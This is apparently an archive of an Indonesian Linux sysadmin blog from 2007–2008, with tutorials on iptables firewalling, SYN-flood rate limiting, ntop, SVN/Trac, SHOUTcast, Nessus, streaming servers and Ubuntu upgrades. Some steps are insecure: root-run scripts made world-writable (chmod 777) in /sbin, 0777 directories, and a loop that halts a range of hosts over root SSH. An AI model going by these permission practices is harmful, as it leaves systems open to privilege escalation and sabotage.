# chmod 755 routing

Isi dari file routing:
# Script routing pada baris ke 3
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -F
iptables -t nat -A POSTROUTING -s 192.168.0.254/24 -d ! 192.168.0.254 -j MASQUERADE

# FIREWALL hanya mengijinkan port 22 dan 80 saja
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT DROP
# Unlimited access to loop back
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
# ==========================
iptables -A INPUT -p TCP --dport 22 -j ACCEPT
iptables -A INPUT -p TCP --dport 80 -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

Selamat mencoba...

Memonitor jaringan dengan menggunakan ntop

2008-03-14T09:56:00.001+07:00

Aplikasi ntop ini cocok sekali bagi admin jaringan yang masih newbee. Alasannya karena installasi yang relatif mudah, walaupun pada penggunaannya akan lebih banyak menggunakan ruang memory. Sebenarnya banyak aplikasi serupa yang lebih handal dalam menangani bandwidth monitoring pada jaringan, seperti; MRTG, cacti, snmp, dkk. Yang saya kedepankan di artikel ini adalah kemudahan installasi dari ntop. Disini saya hadirkan bagaimana cara menginstall aplikasi ini pada dua sistem operasi yang berbeda.
Catatatan: Port default ntop adalah 3000.

Menginstall ntop pada FreeBSD
# cd /usr/ports/net-mgmt/ntop
# make install clean

lalu jalankan ntop
# ntop &
(selesai) Buka web browser ke alamat http://localhost:3000/

Menginstall ntop pada Linux (Ubuntu)
Cara 1:
# apt-get install ntop

Lalu install aplikasi pendukung beserta library.
# apt-get install rrdtool rrdtool-tcl rrdcollect

Buat dan setting direktori library
# mkdir /var/lib/ntop/rrd
# mkdir /var/lib/ntop/rrd/graphics
# mkdir /var/lib/ntop/rrd/interfaces
# mkdir /var/lib/ntop/rrd/flows

Buat user baru dengan nama ntop:
# adduser --no-create-home --disabled-login ntop

Ubah kepemilikan direktori yang baru saja dibuat.
# chown -Rf ntop.root /var/lib/ntop

Ubah hak akses direktori.
# chmod -Rf 777 /var/lib/ntop/rrd

Buat password untuk admin.
# ntop --set-admin-password=

Jalankan ntop:
# ntop

Cara 2:
Cara kedua ini proses installasi relatif lebih mudah lagi, tanpa harus setting2 konfigurasi direktori dsb.
# mkdir /usr/local/ntop
# cd /usr/local/ntop
# svn co https://svn.ntop.org/svn/ntop/trunk/ntop

Compile ntop:
# cd ntop
# ./autogen,sh
# make
# make install

Cara menjalankannya hampir sama dengan cara yang pertama. Akan tetapi kita bisa juga memberikan perintah seperti berikut:
# ntop -u ntop -i eth1 -d -w 8080
(yang artinya menjalankan ntop dengan user ntop, di interface eth1, pada port 8080).

Sebelum perintah itu dilakukan ada baiknya kita membuka dulu port 8080, apabila kita memakai firewall.
# iptables -A INPUT -p TCP --dport 8080 -j ACCEPT

Gambar ntop:

Membangun server SVN (subversion)

2008-02-22T09:35:00.001+07:00

Apa itu subversion? Subversion adalah suatu layanan server yang memungkinkan pengguna untuk berbagi direktori project. Subversion sendiri merupakan pengembangan dari layanan sebelumnya, yang lebih dikenal dengan CVS. Pada kasus kali ini saya membuatnya di Ubuntu Gutsy Gibbon.

Installasi
Kita bisa mendapatkan paket stable pada situs resmi subversion. Atau lebih mudah apabila kita mendapatkannya langsung dari server repository.
# apt-get install subversion

Membuat subversion repository
# mkdir --mode=0777 /media/svn
# svnadmin create /media/svn/repo

Dimana "repo" disini adalah nama project yang akan di-share.

Lalu buat user yang diijinkan mengakses direktori ini.
# adduser svn
# chown -Rf svn.svn /media/svn/repo

Pada sejumlah kasus kita juga perlu membuat satu group svn dan menambahkan beberapa user kedalamnya.

Koneksi subversion repository menggunakan SSH
Direktori repository milik subversion ini dapat diakses menggunakan layanan SSH protokol. Sebelumnya kita harus install SSH server terlebih dahulu.
# apt-get install openssh-server

Apabila server SSH sudah berhasil di-install, kita bisa mengakses menggunakan dua protokol, svn dan SSH.
# svn co svn+ssh://username@ip_address /media/svn/repo

Setelah perintah ini kita dihadapkan dengan pertanyaan RSA fingerprint dari server SSH, menanyakan password user SSH. Kita bisa saja menggunakan otentikasi otomatis dengan memakai layanan SSH, yaitu public/private key.

Menjalankan layanan svn
Jalankan server svn agar user dari client dapat mengakses protokol svn. Untuk menjalankan service svn kita dapat menggunakan perintah:
# svnserve -d

Atau buatlah satu script untuk menjalankan svn secara otomatis ketika komputer pertama kali dinyalakan.
# nano /etc/init.d/svnserver
========
(Isi filenya)
========

#! /bin/sh
svnserve -d

Setelah itu buat akses file agar dapat dieksekusi.
# chmod 555 /etc/init.d/svnserver
# update-rc.d svnserver defaults

Koneksi subversion menggunakan Apache web server
Layanan subversion juga dapat diakses melalui web server dengan memanfaatkan WebDAV protokol. Untuk layanan ini, kita diharuskan meng-install Apache terlebih dahulu.
# apt-get install apache2 libapache2-svn

Selanjutnya kita perlu meng-edit beberapa baris konfigurasi file untuk subversion webdav module.
# nano /etc/apache2/mods-enabled/dav_svn.conf

Kita akan membuat bagaimana caranya agar subversion ini dapat dibuka dari client, dengan mengakses alamat http://[ip_server]/svn. Edit file berikut:

Location /svn <--- tulis dengan diapit tanda "<" dan ">"
DAV svn
SVNPath /media/svn/repo
AuthType Basic
AuthName "Subversion Repository"
AuthUserFile /etc/apache2/dav_svn.passwd
/Location <--- tulis dengan diapit tanda "<" dan ">"

Buatlah user http yang dapat mengakses subversion repository.
# htpasswd -cm /etc/apache2/dav_svn.passwd [username]
New password:
Re-type new password:
Adding password for user [username]

Lalu setelah konfigurasi diatas jangan lupa untuk me-restart layanan Apache2.
# /etc/init.d/apache2 force-reload

Sekarang kita cek dengan menggunakan web browser pada komputer client. Buka alamat http://[ip_server]/svn

Keamanan Akses dengan layanan Trac
Trac adalah layanan dari subversion yang memungkinkan system mencatat history dari user yang telah merubah file project svn, semacam ticketing system. Install Trac:
# apt-get install trac python-setuptools libapache2-mod-python enscript

Buat database Trac:
# mkdir /var/www/trac
# trac-admin /var/www/trac/repo initenv

Buat agar Apache dapat menjalankan Trac.
# cd /var/www
# chown -Rf www-data.svn trac

Edit file /etc/apache2/mods-enabled/dav_svn.conf
# nano /etc/apache2/mods-enabled/dav_svn.conf
Location /trac/[[:anum]]+/login" <--- tulis dengan diapit tanda "<" dan ">"
AuthType Basic
AuthName "Subversion Repository"
AuthUserFile /etc/apache2/passwords
Require valid-user
/Location <--- tulis dengan diapit tanda "<" dan ">"

Location /trac <--- tulis dengan diapit tanda "<" dan ">"
SetHandler mod_python
PythonInterpreter main_interpreter
PythonHandler trac.web.modpython_frontend
PythonOption TracEnvParentDir /var/www/trac
PythonOption TracUriRoot /trac
/Location <--- tulis dengan diapit tanda "<" dan ">"

Jangan lupa restart service Apache2 setelah melakukan perubahan.
# /etc/init.d/apache2 force-reload

Selamat mencoba...

Remote SSH server menggunakan hp Sony Ericsson P1i dan PuTTY

2008-02-20T15:59:00.007+07:00

Gara-gara sekian lama memendam hasrat melihat fitur keren yang ditawarkan hp Sony Ericsson P1i, akhirnya dengan berat hati saya memutuskan untuk membelinya kemarin. Sebagai seorang networker yang pecicilan (baca: sering pergi kesana-kemari), atau istilah kerennya selalu "mobile",... saya diharuskan untuk tetap memantau segala kegiatan yang berhubungan dengan server linux yang diparkir di GSD collocation, Cyber Building Jakarta. Yah.. akhirnya singkat kata setelah membeli Mr. P1i itu saya men-download aplikasi yang sering digunakan untuk me-remote server, nama aplikasinya PuTTY for Symbian OS. Silahkan_klik, untuk men-"download"-nya. Sebenarnya banyak platform hp berbasiskan symbian OS yang mendukung aplikasi PuTTY ini. Tetapi untuk symbian OS milik P1i memakai platform perangkat lunak UIQ. Apa itu UIQ? UIQ itu konon singkatan dari User Interface Quartz. Keterangan lebih lanjut mengenai UIQ bisa dibaca di wikipedia. Dan hp Sony Ericsson P1i menggunakan UIQ v.3.0.

Tampilan PuTTY di hp P1i ini tidak jauh berbeda dengan yang aslinya, apabila kita biasa menggunakan PuTTY di PC. Hanya saja layarnya tentu tidak sebesar monitor PC. Dan kekurangannya selain huruf yang terbaca kecil-kecil, juga repot mengetik karakternya apabila tidak memiliki aplikasi atau interface keyboard QWERTY. Sayangnya, saya tidak dapat meng-capture screen PuTTY di hp SE P1i.

Tapi setidaknya senang apabila dapat setiap saat disapa oleh welcome screen yang biasa menemani setiap hari-hari kerja. :) *seperti gambar berikut*

Weks... admin dipanggil "nyet"?? Hehehe... Itu panggilan sayang server ke admin-nya. :D Bagi yang ga ngerasa terpanggil jangan marah. No offence ah..

Membangun MP3 Streaming Server - Ubuntu Gutsy Gibbon

2008-01-23T15:19:00.000+07:00

Setelah sekian lama berkutat dengan pembuatan server video streaming dengan menggunakan DSS (Darwin Streaming Server), timbul keisengan saya membuat sesuatu yang baru. Ya...! MP3 streaming dengan menggunakan aplikasi shoutcast. Pertama-tama kita membutuhkan dua aplikasi untuk menjalankan streaming ini, diantaranya:

Shoutcast , aplikasi untuk streaming.
Trans Posix, aplikasi untuk playlist.

Download dari URL diatas dengan menggunakan downloader kesayangan Anda. Saya lebih senang menggunakan wget :).
# wget http://www.geocities.com/dadhee/shoutcast-1-9-5-linux-glibc6.tar.gz
# wget http://www.geocities.com/dadhee/sc_trans_posix_040.tgz

Setelah selesai kita download, ekstrak kedua file tadi ke direktori /usr/local.
# tar xfvz shoutcast-1-9-5-linux-glibc6.tar.gz -C /usr/local
# tar xfvz sc_trans_posix_040.tgz -C /usr/local

Konfigurasi untuk keperluan administrasi.
Konfigurasi ini dipakai apabila kita akan membuka URL http://[ip_server_streaming_Anda]:8000/admin.cgi. Edit file sc_serv.conf pada direktori /usr/local/shoutcast/, ganti baris
Password=[masukan passwd Anda]
# nano /usr/local/shoutcast/sc_serv.conf

Konfigurasi untuk keperluan daftar lagu/playlist.
Edit file sc_trans.conf pada direktori /usr/local/sc_trans/
Ubah beberapa baris berikut:
PlaylistFile=myMusix.lst
ServerIP=[ip_server_streaming_Anda]
ServerPort=8000
Password=[masukan passwd Anda]
StreamTitle=Server streaming-ku
StreamURL=http://[ip_server_streaming_Anda]
Genre=Aliran musix garis keras

Membuat daftar lagu/playlist.
# find [direktori tempat lagu berada] -type f -name "*.mp3" > /usr/local/sc_trans/myMusix.lst
misal, saya menyimpan lagu pada direktori /media/hdd5/dadhee/music, maka perintahnya:
# find /media/hdd5/dadhee/music -type f -name "*.mp3" > /usr/local/sc_trans/myMusix.lst

Menjalankan server streaming.
Untuk menjalankan server streaming, kita perlu memanggil file sc_serv pada direktori /usr/local/shoutcast/. Contoh:

root@pegel-linux:/usr/local/shoutcast# ./sc_serv

*******************************************************************************
** SHOUTcast Distributed Network Audio Server
** Copyright (C) 1998-2004 Nullsoft, Inc. All Rights Reserved.
** Use "sc_serv filename.ini" to specify an ini file.
*******************************************************************************

Event log:
<01/23/08@14:54:19> [SHOUTcast] DNAS/Linux v1.9.5 (Dec 27 2004) starting up...
<01/23/08@14:54:19> [main] pid: 9931
<01/23/08@14:54:19> [main] loaded config from sc_serv.conf
<01/23/08@14:54:19> [main] initializing (usermax:32 portbase:8000)...
<01/23/08@14:54:19> [main] No ban file found (sc_serv.ban)
<01/23/08@14:54:19> [main] No rip file found (sc_serv.rip)
<01/23/08@14:54:19> [main] opening source socket
<01/23/08@14:54:19> [main] source thread starting
<01/23/08@14:54:19> [main] opening client socket
<01/23/08@14:54:19> [main] Client Stream thread [0] starting
<01/23/08@14:54:19> [main] client main thread starting
<01/23/08@14:54:19> [source] listening for connection on port 8001
<01/23/08@14:54:45> [source] connected from [ip_address_server_streaming_Anda]
<01/23/08@14:54:45> [source] icy-name:myMusic ; icy-genre:Aliran musix garis keras
<01/23/08@14:54:45>[source]icy-pub:1; icy-br:80; icy-url:
http://[ip_address_server_streaming_Anda]
<01/23/08@14:54:45> [source] icy-irc:shoutcast ; icy-icq: ; icy-aim:AIMHandle
<01/23/08@14:55:07> [yp_add] yp.shoutcast.com gave error ()
<01/23/08@14:55:14> [dest: 192.168.0.180] starting stream (UID: 0)[L: 1]
{A: WinampMPEG/5.34}(P: 0)

Lalu jalankan juga file sc_trans_linux pada direktori /usr/local/sc_trans/. Contoh:

root@pegel-linux:/usr/local/sc_trans# ./sc_trans_linux
*******************************************************************************
** TRANScast Distributed Network Audio Content Provider
** Copyright (C) 2000 Nullsoft, Inc. All Rights Reserved.
** Use "sc_trans filename.conf" to specify a config file.
*******************************************************************************
<01/23/08@14:54:45> [TRANSCast] DNAS/posix v0.400-LAME (Mar 4 2003) starting up...
<01/23/08@14:54:45> [MAIN] PID: 9935
<01/23/08@14:54:45> [MAIN] Loaded config from sc_trans.conf
<01/23/08@14:54:45> [MAIN] Loading playlist (music.lst)
<01/23/08@14:54:45> [MAIN] Found (7) entries in playlist
<01/23/08@14:54:45> [MAIN] Playlist decoder thread starting
<01/23/08@14:54:45> [MAIN] Streaming thread starting
<01/23/08@14:54:45> [DECODE] Opened Ku Menanti Seorang Kekasih.mp3
<01/23/08@14:54:45> [CONFIG] WARNING: No InputSamplerate defined, assuming 44100!
<01/23/08@14:54:45> [CONFIG] WARNING: No InputChannels defined, assuming 2!
<01/23/08@14:54:45> Warning: input file samplerate is -134427917 Hz, must be 44100!
<01/23/08@14:54:45> Warning: input file samplerate is -134427917 Hz, must be 44100!
<01/23/08@14:54:45> Warning: input file samplerate is -134427917 Hz, must be 44100!
<01/23/08@14:54:45> Warning: input file samplerate is -134427917 Hz, must be 44100!
<01/23/08@14:54:45> Warning: input file samplerate is -134427917 Hz, must be 44100!
<01/23/08@14:54:45> [DECODE] Opened Buku Ini Aku Pinjam.mp3
<01/23/08@14:54:45> [STREAM] Creating stream socket
<01/23/08@14:54:45> [STREAM] Connected to host server
<01/23/08@14:54:45> [STREAM] Host server gave success (OK2)
<01/23/08@14:54:45> [STREAM] Stream to [ip_address_server_streaming_Anda] established
<01/23/08@14:54:45> [STREAM] Sending stream information
<01/23/08@14:54:47> [MAIN] Title Updated

Menjalankan streaming dari sisi client.
Buka aplikasi pemutar media yang mengenal format file .lst. Contoh disini dengan aplikasi WinAmp.

Script Memblock Akses Y!M pada Gateway/Router

2007-12-06T13:46:00.000+07:00

Script iptables ini berguna bagi para admin yang berkuasa terhadap gateway/router kantor. Cara ini berhasil mengatasi para chatter di jam kerja yang kerjaannya gosipin admin, eh... (salah) gosipin orang laen maksutnya... hehe... Ini juga bermanfaat apabila seorang admin sedang memiliki dendam pribadi terhadap seseorang yang tukang gosip di Y!M. Hahaha...
Login sebagai root, lalu buat script dengan nama blockYM.

root# nano blockYM
# (berikut isi filenya)
#!/bin/sh
iptables -A FORWARD -p TCP -s $1/32 --dport 5000:5010 -j DROP
iptables -A FORWARD -p TCP -s $1/32 --dport 5050:5050 -j DROP
iptables -t mangle -A PREROUTING -p tcp -s $1/32 --dport 5050:5050 -j DROP
iptables -A FORWARD -s $1/32 -d 216.136.223.0/24 -j REJECT
iptables -A FORWARD -s $1/32 -d 216.136.224.0/24 -j REJECT
iptables -A FORWARD -s $1/32 -d 216.136.227.0/24 -j REJECT
iptables -A FORWARD -s $1/32 -d 216.136.233.0/24 -j REJECT
iptables -A FORWARD -s $1/32 -d 216.155.193.0/24 -j REJECT
iptables -A FORWARD -s $1/32 -d 216.155.194.191 -j REJECT
iptables -A FORWARD -s $1/32 -d 216.155.194.207 -j REJECT
iptables -A FORWARD -s $1/32 -d 216.109.116.191 -j REJECT
iptables -A FORWARD -s $1/32 -d 66.163.172.117 -j REJECT
iptables -A FORWARD -s $1/32 -d 66.163.175.128 -j REJECT
iptables -A FORWARD -s $1/32 -d 216.136.225.238 -j REJECT
iptables -A FORWARD -s $1/32 -d 216.155.192.206 -j REJECT
iptables -A FORWARD -s $1/32 -d 66.163.172.116 -j REJECT
iptables -A FORWARD -s $1/32 -d 216.155.193.205 -j REJECT
# (save lalu exit)

Lalu berikut ini adalah cara membuka blockYM. Buat file dengan nama unblockYM.

root# nano unblockYM
# (berikut isi filenya)
#!/bin/sh
iptables -D FORWARD -p TCP -s $1/32 --dport 5000:5010 -j DROP
iptables -D FORWARD -p TCP -s $1/32 --dport 5050:5050 -j DROP
iptables -t mangle -D PREROUTING -p tcp -s $1/32 --dport 5050:5050 -j DROP
iptables -D FORWARD -s $1/32 -d 216.136.223.0/24 -j REJECT
iptables -D FORWARD -s $1/32 -d 216.136.224.0/24 -j REJECT
iptables -D FORWARD -s $1/32 -d 216.136.227.0/24 -j REJECT
iptables -D FORWARD -s $1/32 -d 216.136.233.0/24 -j REJECT
iptables -D FORWARD -s $1/32 -d 216.155.193.0/24 -j REJECT
iptables -D FORWARD -s $1/32 -d 216.155.194.191 -j REJECT
iptables -D FORWARD -s $1/32 -d 216.155.194.207 -j REJECT
iptables -D FORWARD -s $1/32 -d 216.109.116.191 -j REJECT
iptables -D FORWARD -s $1/32 -d 66.163.172.117 -j REJECT
iptables -D FORWARD -s $1/32 -d 66.163.175.128 -j REJECT
iptables -D FORWARD -s $1/32 -d 216.136.225.238 -j REJECT
iptables -D FORWARD -s $1/32 -d 216.155.192.206 -j REJECT
iptables -D FORWARD -s $1/32 -d 66.163.172.116 -j REJECT
iptables -D FORWARD -s $1/32 -d 216.155.193.205 -j REJECT
# (save lalu exit)

Buat hak akses eksekusi terhadap kedua file tadi.
root# chmod 777 blockYM unblockYM

Lalu pindahkan ke direktori /sbin agar kedua file tersebut dapat dijalankan langsung melalui system.
root# mv blockYM /sbin
root# mv unblockYM /sbin

Cara menjalankannya:
root# blockYM [ip_address kompi tujuan yang akan diblock]
(misal)
root# blockYM 192.168.0.100

Perlakuan ini sama dengan script unblockYM.
Selamat mencoba...

Installasi NessusNetwork Auditor di Ubuntu 7.10

2007-12-05T11:17:00.000+07:00

Nessus adalah salah satu network scanner untuk mendeteksi keberadaan aplikasi vulnerability dan D0S. Hampir mirip lah dengan NMAP atau Metasploit, hanya saja Nessus ini bersifat client-server, sehingga memungkinkan dijalankan oleh lebih dari satu client. Cara installasinya sebagai berikut:

root# apt-get install nessus nessus-dev nessusd nessus-plugins

Setelah itu buat username dan password untuk menjalankan Nessus.
root# nessus-adduser
Using /var/tmp as a temporary file holder

Add a new nessusd user
----------------------

Login : dadhee
Authentication (pass/cert) [pass] : pass
Login password :
Login password (again) :

User rules
----------
nessusd has a rules system which allows you to restrict the hosts
that godril has the right to test. For instance, you may want
him to be able to scan his own host only.

Please see the nessus-adduser(8) man page for the rules syntax

Enter the rules for this user, and hit ctrl-D once you are done :
(the user can have an empty rules set)

Login : dadhee
Password : ******
DN :
Rules :

Is that ok ? (y/n) [y] y
user added.
root#

Kemudian silahkan registrasi ke website Nessus di http://www.nessus.org/register/. Setelah registrasi kita akan dikirimi sebuah reg-code ke email yang kita daftarkan pada form tersebut. Ini bertujuan agar kita bisa men-download plugin-plugin baru dari Nessus. Pilih keanggotaan free (Delayed Feed). Artinya kita akan mendapatkan plugin setelah 7 hari release. Lalu tunggu email yang masuk ke account email yang telah kita daftarkan sebelumnya. Contoh dari isi emailnya adalah sbb:

Your activation code for the Nessus plugin feed is 9347-07E5-2E9E-6A77-BBAF

Kode 9347-07E5-2E9E-6A77-BBAF adalah kode registrasi yang akan kita masukan ke Nessus server kita. Caranya melalui console ketik:
root# nessus-fetch --register 9347-07E5-2E9E-6A77-BBAF

Your activation code has been registered properly - thank you. Now fetching the newest plugin set from plugins.nessus.org... Your Nessus installation is now up-to-date. Make sure to call regularly use the command 'nessus-update-plugins' to stay up-to-date.

Selesai...

Untuk menjalankan server Nessus:
root# nessusd &

Download aplikasi Nessus client disini. Untuk lebih jelas mengenai cara penggunaan Nessus Client bisa di liat disini (dalam format PDF).

Darwin Streaming Server - Ubuntu Gutsy Gibbon

2007-11-21T10:45:00.000+07:00

Gara-gara kerjaan kantor yang mengharuskan saya terlibat dalam masalah ini. Membuat server video streaming yang syaratnya harus bisa diakses dari PC maupun dari Hape dengan koneksi 3G. Ternyata buat server video streaming susah susah gampang... (susahnya ada dua kali lhoo..)

Gini nih ceritanya:
Download source nya terlebih dahulu. Darwin streaming server versi Linux bisa di download disini. Akan didapat file DarwinStreamingSrvr5.5.5-Linux.tar.gz. Ekstrak file tersebut ke dalam direktori /opt .
root# tar xfvz DarwinStreamingSrvr5.5.5-Linux.tar.gz -C /opt
root# cd /opt/DarwinStreamingSrvrlinux-Linux

Buat satu satu user dengan nama qtss (Quick Time Streaming Server).
root# adduser --disabled-password --disabled-login --no-create-home qtss

Lalu install DSS (Darwin Streaming Server), dengan catatan posisi sekarang masih di direktori /opt/DarwinStreamingSrvrlinux-Linux.
root# ./Install

Berikut cuplikan gambar pada saat installasi.

Isikan username dan password yang diperbolehkan untuk mengakses cpanel dari DSS. Ketika muncul "setup completed" maka installasi berhasil. Untuk masuk ke cpanel DSS kita hanya perlu mengetikan alamat URL http://[ip DSS]:1220/
Berikut tampilan pertama pada saat mengakses http://[ip DSS]:1220/ untuk pertama kali.

Buat password baru...

Setelah itu kita akan dihadapkan dengan posisi direktori movie yang kita ingin simpan. Set /usr/local/movies (default) untuk menyimpan file-file movie. Ganti apabila kita ingin menyimpan file movie di direktori lain.

Opsi diatas memungkinkan server streaming dapat diakses melalui port http. Tampilan berikut ini adalah apabila kita telah melewati tahap-tahap diatas.

Kita bisa mengetes film sample pada server streaming dengan mengakses URL (pada browser web):
http://[ip address server streaming]:8000/sample_50kbit.3gp
http://[ip address server streaming]:554/sample_50kbit.3gp

Juga bisa di akses dengan menggunakan aplikasi Quick Time Viewer dengan membuka URL:
rtsp://[ip address server streaming]/sample_50kbit.3gp

Masalahnya saya belum bisa mengakses alamat http atau rtsp pada hape menggunakan koneksi 3G. Ada yang bisa bantu? :D

Akhirnya Gutsy Gibbon dateng juga

2007-11-16T09:35:00.000+07:00

Agak telat sih datengnya dari Belanda sono... Tapi ga papa lah, itung-itung kebanggaan tersendiri menggunakan ubuntu terbaru asli dari negeri keju. Gratis lagi... cuma bayar jasa pak Pos aja (sebesar Rp.7000) yang sudah berbaik hati mengantarkan kiriman langsung ke rumah. Bagi yang belum tau cara mendapatkan cd ubuntu, kubuntu dan edubuntu, silahkan kunjungi situs shipit.
1. Shipit Ubuntu.
2. Shipit Kubuntu.
3. Shipit Edubuntu.

Tinggal skr lagi nyari DVD repository-nya nih, buat versi AMD64. Ada yang punya? :D

Upgrade Feisty ke Gutsy

2007-11-14T11:01:00.000+07:00

Bagi para pengguna ubuntu 7.04 jangan khawatir jika susah untuk mendapatkan ubuntu terbaru "gutsy gibbon". User feisty (ubuntu 7.04) dapat dengan mudah meng-upgrade system ubuntu-nya dengan cara meng-edit beberapa script pada file /etc/apt/sources.list .

root# mc /etc/apt/
(edit file sources.list)

Replace semua kata-kata "feisty" dalam file sources.list dengan kata "gutsy" dengan menggunakan tombol fungsi F4, seperti dalam gambar diatas. Setelah selesai me-replace semua jangan lupa untuk men-save dengan menekan tombol fungsi F2.
Kembali ke konsole, lalu update sources.list apt-get:
root#apt-get update

Lalu langkah selanjutnya adalah upgrade distro:
root#apt-get dist-upgrade

Selamat mencoba...

###EOF###

Numpang nampang ah, ini foto waktu acara Gutsy Release Party di STT Telkom tanggal 3 November 2007. Yang dateng lumayan banyak, dari pelajar SMK, praktisi linux, KLuB, simpatisan (kayak partai aja). Saya menempatkan diri sebagai rakyat biasa pada acara ini. Foto dibawah ini saya ambil dari blognya kang Bobby Nugraha Ariffin selaku kordinator GRP.

Prepare for the next release party on april 2008...!!

Script shutdown broadcast pada satu jaringan/net id

2007-10-08T10:00:00.000+07:00

Baris perintah di bawah ini hanya bekerja apabila jaringan kita menggunakan satu kelas IP. Fungsinya adalah memberikan perintah kepada pengguna-pengguna IP dalam satu net id. Contohnya hal ini dapat dilakukan seorang asisten lab untuk mematikan seluruh komputer praktikan dalam laboratorium, apabila jam kerjanya telah selesai. Buatlah satu file dengan nama terserah dan berikut isi script yang dimaksud.

#!/bin/bash
if (($1<=$2)); then for ((i=$1;i<=$2;i++)); do ssh root@192.168.0.$i halt -p &
done
elif (($1>$2)); then
for ((i=$1;i>=2;i–)); do
ssh root@192.168.0.$i halt -p &
done
else
echo “Masukan bilangan bulat..!!”
fi

Setelah itu, ubah hak akses file tersebut agar hanya dapat diakses oleh root.
# chmod 700

Penggunaannya:
# terserah 1 5

Dengan perintah diatas berarti kita melakukan broadcast perintah 'halt -p' pada rentang IP 192.168.0.1 sampai 192.168.0.5.

Tambahan link repository Indonesia

2007-09-06T16:52:00.000+07:00

Buat user feisty, nih ada tambahan link buat donlot pake apt-get ato synaptics repo. Silahkan copy paste dan tambahkan ke file /etc/apt/sources.list:

deb http://dl2.foss-id.web.id/ubuntu feisty main restricted universe multiverse
deb http://dl2.foss-id.web.id/ubuntu feisty-updates main restricted universe multiverse
deb http://dl2.foss-id.web.id/ubuntu feisty-security main restricted universe multiverse
deb-src http://dl2.foss-id.web.id/ubuntu feisty main restricted universe multiverse
deb-src http://dl2.foss-id.web.id/ubuntu feisty-updates main restricted universe multiverse
deb-src http://dl2.foss-id.web.id/ubuntu feisty-security main restricted universe multiverse

Jangan lupa kalau udah di save trus update apt-getnya:
root# apt-get update

Mencegah syn flood attack dengan iptables

2007-08-30T16:56:00.000+07:00

SYN flooding attack adalah istilah teknologi informasi dalam bahasa Inggris yang mengacu kepada salah satu jenis serangan Denial-of-service yang menggunakan paket-paket SYN. (sumber: wikipedia Indonesia).

Disini saya menerapkan limit pada paket-paket SYN yang masuk, dengan iptables. "--limit" dalam script ini terbagi menjadi dua penjelasan:
--limit [params]: Adalah jumlah maksimal dalam satuan [params]. Dimana [params] disini adalah /s (second), /m (minute), /h (hour), /d (day). Default adalah 3/hour.
--limit-burst [number]: Adalah inisialisasi jumlah paket SYN yang tertangkap. Default adalah 5.

Pada script iptables ini saya juga menerapkan pengamanan terhadap service SSH (port 22). Dimana saya melakukan pembatasan koneksi. Saya ambil cuplikan salah satu script.

iptables -I INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 600 --hitcount 11 -j DROP

Default port SSH adalah 22.
"--seconds 600" adalah waktu untuk 10 menit koneksi, dimana 600 detik=10 menit (1 menit=60 detik; 10 menit=600 detik).
"--hitcount 11" adalah jumlah connection limit untuk tidak melampaui 10, andaikata lebih dari 10 maka berlaku "-j DROP".

KESIMPULAN script diatas adalah:
iptables akan membatasi port 22 (SSH) untuk tidak melayani permintaan koneksi lebih dari 10 koneksi dalam rentang waktu 10 menit.

Penjelasan selebihnya bisa didapatkan pada man iptables atau pada dokumentasi netfilter/iptables.

Berikut cara penggunaan script untuk mem-blok syn flood. Buatlah file dengan nama "terserah.sh" lalu masukan script iptables pada akhir artikel ini. Jangan lupa untuk memberikan hak akses untuk dapat di eksekusi (chmod 700).

#SCRIPT BLOK SYN FLOOD IPTABLES
clear
printf "Copyright by cybercolombuzz\n"
printf "\n\n"
printf "Masukan ip address server:"
read SERVER_IP
iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j RETURN
iptables -N syn_flood
iptables -A INPUT -p tcp --syn -j syn_flood
iptables -A syn_flood -m limit --limit 1/s --limit-burst 3 -j RETURN
iptables -A syn_flood -j DROP
iptables -A INPUT -p icmp -m limit --limit 1/s --limit-burst 1 -j ACCEPT

iptables -A INPUT -p icmp -m limit --limit 1/s --limit-burst 1 -j LOG --log-prefix PING-DROP:
iptables -A INPUT -p icmp -j DROP

iptables -A OUTPUT -p icmp -j ACCEPT
iptables -I INPUT -p tcp -s 0/0 -d $SERVER_IP --sport 513:65535 --dport 22 -m state --state NEW,ESTABLISHED -m recent --set
-j ACCEPT

iptables -I INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 600 --hitcount 11 -j DROP

iptables -A OUTPUT -p tcp -s $SERVER_IP -d 0/0 --sport 22 --dport 513:65535 -m state --state ESTABLISHED -j ACCEPT

Upgrade Kernel Ubuntu Feisty Fawn

2007-08-29T10:15:00.001+07:00

Secara default kernel milik ubuntu 7.04 adalah kernel-2.6.20.15-generic. Pada artikel kali ini saya publish bagaimana upgrade kernel default feisty fawn ke kernel-2.6.22-9-generic. Untuk mengetahui fitur kernel 2.6.22-9-generic ini bisa dilihat disini. Ada langkah penting yang harus kita lakukan sebelum meng-upgrade kernel ini pada feisty fawn. Pertama kita harus menambahkan repository milik gusty gibbon (ubuntu 7.10), hal ini dilakukan sementara untuk menerapkan versi kernel baru pada feisty.

root# echo ‘deb http://archive.ubuntu.com/ubuntu/ gutsy main restricted’ | sudo tee -a /etc/apt/sources.list

Lalu jangan lupa untuk meng-update source list apt.
root# apt-get update

Berikutnya kita install kernel beserta modul bawaannya.

root# apt-get install linux-backports-modules-2.6.22-9-generic linux-headers-2.6.22-9 linux-headers-2.6.22-9-generic linux-image-2.6.22-9-generic linux-restricted-modules-2.6.22-9-generic linux-ubuntu-modules-2.6.22-9-generic

Setelah system selesai meng-install jangan lupa untuk menghapus kembali source.list gusty gibbon yang tadi dibuat. Caranya edit file /etc/apt/sources.list , dan berikan tanda comment ("#") pada baris:
deb http://archive.ubuntu.com/ubuntu/ gutsy main restricted

Setelah selesai langkah berikutnya adalah meng-update kembali source list dengan perintah:
root# apt-get update

Apabila sampai sini tidak ada masalah. Untuk menerapkan versi kernel yang baru pada sistem feisty kita, yang harus kita lakukan adalah me-reboot kompi.

TROUBLESHOOTING

Apabila setelah reboot, kompi kita bermasalah, maka ikuti langkah berikut untuk mengembalikan kernel ke versi sebelumnya.
Uninstall kernel versi baru, perintahnya:

root# apt-get remove linux-backports-modules-2.6.22-9-generic linux-headers-2.6.22-9 linux-headers-2.6.22-9-generic linux-image-2.6.22-9-generic linux-restricted-modules-2.6.22-9-generic linux-ubuntu-modules-2.6.22-9-generic

